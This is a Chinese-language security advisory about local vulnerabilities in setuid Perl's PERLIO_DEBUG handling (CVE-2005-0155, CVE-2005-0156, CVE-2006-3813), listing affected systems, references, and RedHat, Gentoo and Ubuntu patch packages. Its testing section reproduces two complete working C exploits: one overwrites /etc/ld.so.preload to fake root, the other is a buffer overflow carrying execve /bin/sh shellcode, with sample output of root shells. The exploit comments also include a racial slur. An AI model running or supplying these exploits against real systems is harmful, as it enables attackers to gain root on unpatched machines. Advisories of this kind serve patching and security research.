安全研究

安全漏洞
Perl SuidPerl多个本地漏洞

发布日期:2005-02-02
更新日期:2006-08-17

受影响系统:
Larry Wall Perl 5.8
Ubuntu Ubuntu 4.10
描述:
BUGTRAQ  ID: 12426
CVE(CAN) ID: CVE-2005-0155,CVE-2005-0156,CVE-2006-3813

Perl是流行的跨平台编程语言。

部分Perl脚本在处理PERLIO_DEBUG变量时存在问题,本地攻击者可以利用这个漏洞破坏系统文件或进行缓冲区溢出攻击。

攻击者可以通过设置PERLIO_DEBUG环境变量和调用任意setuid-root perl脚本来覆盖任何文件,PERLIO_DEBUG指向的文件然后会被PERL调试消息所覆盖,这个问题不能精确控制文件内容,但可以破坏重要数据。

另外如果PERLIO_DEBUG设置,调用带超长路径的setuid-perl脚本,可导致缓冲区溢出,精心构建提交数据可能以root用户权限执行任意指令。

<*来源:Martin Pitt (martin.pitt@canonical.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110737149402683&w=2
        http://secunia.com/advisories/21646/
        http://lwn.net/Alerts/122393/?format=printable
        http://lwn.net/Alerts/195043
        http://security.gentoo.org/glsa/glsa-200502-13.xml
        http://lwn.net/Alerts/123652/?format=printable
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
* Copyright Kevin Finisterre
*
* ** DISCLAIMER ** I am in no way responsible for your stupidity.
* ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
*
* ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
* ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
* ** WARNING ** have a boot disk ready incase some thing goes wrong.
*
* Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
*
* this exploits a vulnerability in the PERLIO_DEBUG functionality
* tested against sperl5.8.4 on Debian
*
* kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
* kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
* ls: /etc/ld.so.preload: No such file or directory
* kfinisterre@jdam:~$ ./ex_perl
* sperl needs fd script
* You should not call sperl directly; do you need to change a #! line
* from sperl to perl?
* kfinisterre@jdam:~$ su -
* jdam:~# id
* uid=0(root) gid=0(root) groups=0(root)
* jdam:~# rm /etc/ld.so.preload
*
*/


#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

        FILE *getuid;
        if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        
    fprintf(getuid, "int getuid(){return 0;}\n" );
        fclose(getuid);

        system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");

    putenv("PERLIO_DEBUG="PRELOAD);
        umask(001); // I'm rw-rw-rw james bitch!
        system("/usr/bin/sperl5.8.4");
        FILE *ld_so_preload;

        char preload[] = {
                "/tmp/getuid.so\n"
        };

        if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
        fclose(ld_so_preload);
}


/*
* Copyright Kevin Finisterre
*
* Setuid perl PerlIO_Debug() overflow
*
* Tested on Debian 3.1 perl-suid 5.8.4-5
*
* (11:07:20) *corezion:* who is tha man with tha masta plan?
* (11:07:36) *corezion:* a nigga with a buffer overrun
* (11:07:39) *corezion:* heh
* (of course that is to the tune of http://www.azlyrics.com/lyrics/drdre/niggawittagun.html)
*
* cc -o ex_perl2 ex_perl2.c -std=c99
*
* kfinisterre@jdam:~$ ./ex_perl2
* Dirlen: 1052
* Charlie Murphy!!!@#@
* sh-2.05b# id
* uid=1000(kfinisterre) gid=1000(kfinisterre) euid=0(root)
*
*/

#include <stdlib.h>
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(int *argc, char **argv)
{
    int len = 23;
    int count = 5;
    char malpath[10000];
    char tmp[256];
    char *filler;
    char *ptr;

    unsigned char code[] =
    /*
      0xff-less execve() /bin/sh by anathema <anathema@hack.co.za>
      Linux/IA32 0xff-less execve() shellcode.  
     */
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

        // setuid(0) - fix for redhat based machines
    "\x31\xdb"                      // xorl         %ebx,%ebx
    "\x8d\x43\x17"                  // leal         0x17(%ebx),%eax
    "\xcd\x80"                      // int          $0x80

    "\x89\xe6"                          /* movl %esp, %esi          */
    "\x83\xc6\x30"                      /* addl $0x30, %esi         */
    "\xb8\x2e\x62\x69\x6e"              /* movl $0x6e69622e, %eax   */
    "\x40"                              /* incl %eax                */
    "\x89\x06"                          /* movl %eax, (%esi)        */
    "\xb8\x2e\x73\x68\x21"              /* movl $0x2168732e, %eax   */
    "\x40"                              /* incl %eax                */
    "\x89\x46\x04"                      /* movl %eax, 0x04(%esi)    */
    "\x29\xc0"                          /* subl %eax, %eax          */
    "\x88\x46\x07"                      /* movb %al, 0x07(%esi)     */
    "\x89\x76\x08"                      /* movl %esi, 0x08(%esi)    */
    "\x89\x46\x0c"                      /* movl %eax, 0x0c(%esi)    */
    "\xb0\x0b"                          /* movb $0x0b, %al          */
    "\x87\xf3"                          /* xchgl %esi, %ebx         */
    "\x8d\x4b\x08"                      /* leal 0x08(%ebx), %ecx    */
    "\x8d\x53\x0c"                      /* leal 0x0c(%ebx), %edx    */
    "\xcd\x80"                          /* int $0x80                */;


    chdir("/tmp/");

    // do one less char than usual for RedHat
    filler = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/";
    
    for (int x=0; x<4; x=x+1)
    {
        mkdir(filler, 0777);
        chdir(filler);
        // do one less char than usual for RedHat
        count = count + 255;        
    }

        memset(tmp,0x41,len);  
    count = count + len;

        ptr = tmp+len;
        ptr = putLong (ptr, 0xbffffb6a); // frame 11 ebp
        ptr = putLong (ptr, 0xbffffb6a);
        ptr = putLong (ptr, 0xbffffb6a);

    strcat(tmp, "/");
    mkdir(tmp, 0777);
    chdir(tmp);

    printf ("Dirlen: %d\n", count);

    FILE *perlsploit;
    char perldummyfile[] = {
                "#!/usr/bin/sperl5.8.4\n"
                "# \n"
                "# Be proud that perl(1) may proclaim: \n"
                "#   Setuid Perl scripts are safer than C programs ...\n"
                "# Do not abandon (deprecate) suidperl. Do not advocate C wrappers. \n"
        };

        if(!(perlsploit = fopen("take_me.pl","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(perldummyfile,sizeof(perldummyfile)-1,1,perlsploit);
        fclose(perlsploit);

    getcwd(malpath, 10000);
    strcat(malpath, "/");
    strcat(malpath, "take_me.pl");
    printf("Charlie Murphy!!!@#@\n");

    chmod(malpath,0755);
        setenv("PERLIO_DEBUG", "/tmp/ninjitsu", 1);
    setenv("PERL5LIB", code, 1);
    execv(malpath,(char *) NULL);

}
/*
* put a address in mem, for little-endian
*
*/
char*
putLong (char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;

    return ptr;
}

建议:
厂商补丁:

RedHat
------
RedHat已经为此发布了安全公告(RHSA-2005:105-01、RHSA-2006:0605-01和RHSA-2005:103-01)以及相应补丁:
RHSA-2005:105-01:Updated Perl packages fix security issues
链接:http://lwn.net/Alerts/122393/?format=printable

RHSA-2006:0605-01:Important: perl security update
链接:http://lwn.net/Alerts/195043

RHSA-2005:103-01:Important: perl security update
链接:http://lwn.net/Alerts/123652/?format=printable

Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200502-13)以及相应补丁:
GLSA-200502-13:Perl: Vulnerabilities in perl-suid wrapper
链接:http://security.gentoo.org/glsa/glsa-200502-13.xml

所有Perl用户都应升级到最新版本:

    # emerge --sync
    # emerge --ask --oneshot --verbose dev-lang/perl

Ubuntu
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Source archives:

http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3.diff.gz
Size/MD5:    57791 6838d5eb8b01a50895f60f899b7f9970
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3.dsc
Size/MD5:      727 424d777c7a4f7e01e142bd907ec49134
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4.orig.tar.gz
Size/MD5: 12094233 912050a9cb6b0f415b76ba56052fb4cf

Architecture independent packages:

http://security.ubuntu.com/ubuntu/pool/universe/p/perl/libcgi-fast-perl_5.8.4-2ubuntu0.3_all.deb
Size/MD5:    36762 3187be1f92d688e34fca60c46f688ca9
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-doc_5.8.4-2ubuntu0.3_all.deb
Size/MD5:  7049796 f64050a4658b325918e1d853d0f2cbc0
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-modules_5.8.4-2ubuntu0.3_all.deb
Size/MD5:  2181384 b2a50b4f2dde034430bc84bbabc791cc

amd64 architecture (Athlon64, Opteron, EM64T Xeon)

http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5:   605434 2ca037b813fe14be47cafa2f27acd77b
http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5:     1032 2bb8737a384a3786171d2ae2a3ed4a7a
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5:   787086 e5bb5502b6e90a29c74acc032b9e55c5
http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5:  3819860 1daaaa3016ad679e80199e19c5b901ef
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5:    32832 0cb6d5e891a5524a8d88a2c42c866e57
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3_amd64.deb
Size/MD5:  3834226 442c1ace9f9ea25dc24075c37ee2365b

i386 architecture (x86 compatible Intel/AMD)

http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.3_i386.deb
Size/MD5:   546882 60034b55abcae07a3d6c6052a3213463
http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.3_i386.deb
Size/MD5:   494062 6588b891ea5946652fbfa57529ab63c7
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.3_i386.deb
Size/MD5:   727402 9f372c22dbe904e4986c20db27ca4eab
http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.3_i386.deb
Size/MD5:  3631146 a4e235f9ee4b5b4c00af9681c462f9cb
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.3_i386.deb
Size/MD5:    30812 70923ad1d98c214f7d74b3fcd33fd8a3
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3_i386.deb
Size/MD5:  3229674 c1eefcf39facb03157c59a0f87ff7471
powerpc architecture (Apple Macintosh G3/G4/G5)

http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl-dev_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5:   560992 17dd72a903ea7cb68dde0b937c18dbbd
http://security.ubuntu.com/ubuntu/pool/main/p/perl/libperl5.8_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5:     1032 b30fdccfa2463633641622427cbcaa73
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-base_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5:   718224 c200522dfa69b9810d66dd94a5102f6f
http://security.ubuntu.com/ubuntu/pool/universe/p/perl/perl-debug_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5:  3817106 3fbeaca89ae2b2a54adb0b01b282f8bd
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl-suid_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5:    30558 606caf5631780c2941118a5bbd6b2fd4
http://security.ubuntu.com/ubuntu/pool/main/p/perl/perl_5.8.4-2ubuntu0.3_powerpc.deb
Size/MD5:  3477176 d1e921f275e597dc1b59d6ca5680c07e

浏览次数:3999
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障